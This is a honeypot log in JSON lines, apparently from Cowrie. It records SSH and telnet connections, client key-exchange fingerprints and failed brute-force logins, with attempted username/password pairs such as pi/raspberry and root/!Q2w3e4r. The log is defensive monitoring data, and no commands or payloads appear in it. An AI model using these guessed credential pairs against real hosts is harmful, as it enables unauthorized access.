{"eventid":"cowrie.session.closed","duration":31.29997491836548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:31:16.639245Z","src_ip":"119.64.84.82","session":"26547dcbd399","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.764739990234375,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:31:35.791187Z","src_ip":"170.64.224.25","session":"c9e2f6e329c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43860,"dst_ip":"159.203.135.109","dst_port":23,"session":"8af00605b66c","protocol":"telnet","message":"New connection: 170.64.224.25:43860 (159.203.135.109:23) [session: 8af00605b66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:31:36.497030Z"}
{"eventid":"cowrie.session.closed","duration":120.00162076950073,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:31:37.059319Z","src_ip":"94.23.66.112","session":"b0211471b398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.545401096343994,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:31:42.298659Z","src_ip":"170.64.224.25","session":"219435e0b630","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.07542300224304,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:31:44.859560Z","src_ip":"170.64.224.25","session":"75df7bd895b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.29583168029785,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:31:48.871034Z","src_ip":"170.64.224.25","session":"c09a0c4b82cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.984729766845703,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:03.481616Z","src_ip":"170.64.224.25","session":"8af00605b66c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43016,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1ca1e361dfc","protocol":"ssh","message":"New connection: 160.187.174.22:43016 (159.203.135.109:22) [session: a1ca1e361dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:04.127762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:04.133535Z","src_ip":"160.187.174.22","session":"a1ca1e361dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:04.409968Z","src_ip":"160.187.174.22","session":"a1ca1e361dfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:05.165861Z","src_ip":"160.187.174.22","session":"a1ca1e361dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:06.412360Z","src_ip":"160.187.174.22","session":"a1ca1e361dfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":45318,"dst_ip":"10.17.0.5","dst_port":22,"session":"34e2ec531dc7","protocol":"ssh","message":"New connection: 162.214.5.224:45318 (10.17.0.5:22) [session: 34e2ec531dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:23.501165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:23.505016Z","src_ip":"162.214.5.224","session":"34e2ec531dc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:23.588227Z","src_ip":"162.214.5.224","session":"34e2ec531dc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manta","password":"manta123","message":"login attempt [manta/manta123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:23.851410Z","src_ip":"162.214.5.224","session":"34e2ec531dc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:25.793693Z","src_ip":"162.214.5.224","session":"34e2ec531dc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":45146,"dst_ip":"159.203.135.109","dst_port":22,"session":"8560e537dbae","protocol":"ssh","message":"New connection: 165.22.184.88:45146 (159.203.135.109:22) [session: 8560e537dbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:28.125695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:28.131167Z","src_ip":"165.22.184.88","session":"8560e537dbae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:28.136217Z","src_ip":"165.22.184.88","session":"8560e537dbae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"swyftx","password":"swyftx123","message":"login attempt [swyftx/swyftx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:28.153563Z","src_ip":"165.22.184.88","session":"8560e537dbae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:29.163733Z","src_ip":"165.22.184.88","session":"8560e537dbae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39994,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cdf2ab62bcd","protocol":"telnet","message":"New connection: 170.64.224.25:39994 (159.203.135.109:23) [session: 8cdf2ab62bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:31.072366Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":53816,"dst_ip":"10.17.0.5","dst_port":22,"session":"d680897d32e0","protocol":"ssh","message":"New connection: 91.92.40.4:53816 (10.17.0.5:22) [session: d680897d32e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:32.705046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:32.711934Z","src_ip":"91.92.40.4","session":"d680897d32e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:32.793064Z","src_ip":"91.92.40.4","session":"d680897d32e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123321","message":"login attempt [postgres/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:33.036745Z","src_ip":"91.92.40.4","session":"d680897d32e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:34.120033Z","src_ip":"91.92.40.4","session":"d680897d32e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":57796,"dst_ip":"159.203.135.109","dst_port":22,"session":"3994f79660ec","protocol":"ssh","message":"New connection: 160.187.174.22:57796 (159.203.135.109:22) [session: 3994f79660ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:35.000124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:35.004089Z","src_ip":"160.187.174.22","session":"3994f79660ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:35.246159Z","src_ip":"160.187.174.22","session":"3994f79660ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:35.974094Z","src_ip":"160.187.174.22","session":"3994f79660ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:32:37.225085Z","src_ip":"160.187.174.22","session":"3994f79660ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34128,"dst_ip":"159.203.135.109","dst_port":22,"session":"000bc43ec588","protocol":"ssh","message":"New connection: 160.187.174.22:34128 (159.203.135.109:22) [session: 000bc43ec588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:05.588239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:05.591190Z","src_ip":"160.187.174.22","session":"000bc43ec588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:05.824244Z","src_ip":"160.187.174.22","session":"000bc43ec588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:06.520670Z","src_ip":"160.187.174.22","session":"000bc43ec588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:07.759832Z","src_ip":"160.187.174.22","session":"000bc43ec588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":44874,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5e12f1c13f4","protocol":"ssh","message":"New connection: 144.91.108.61:44874 (10.17.0.5:22) [session: a5e12f1c13f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:11.579641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:11.584261Z","src_ip":"144.91.108.61","session":"a5e12f1c13f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:11.678476Z","src_ip":"144.91.108.61","session":"a5e12f1c13f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"polygon456","message":"login attempt [root/polygon456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:11.961525Z","src_ip":"144.91.108.61","session":"a5e12f1c13f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:13.059811Z","src_ip":"144.91.108.61","session":"a5e12f1c13f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50248,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddebf7b743b1","protocol":"telnet","message":"New connection: 170.64.224.25:50248 (159.203.135.109:23) [session: ddebf7b743b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:15.749991Z"}
{"eventid":"cowrie.session.closed","duration":60.206125020980835,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:31.278353Z","src_ip":"170.64.224.25","session":"8cdf2ab62bcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52188,"dst_ip":"159.203.135.109","dst_port":22,"session":"dab87cdf0746","protocol":"ssh","message":"New connection: 160.187.174.22:52188 (159.203.135.109:22) [session: dab87cdf0746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:36.372306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:33:36.377033Z","src_ip":"160.187.174.22","session":"dab87cdf0746","protocol":"ssh"}
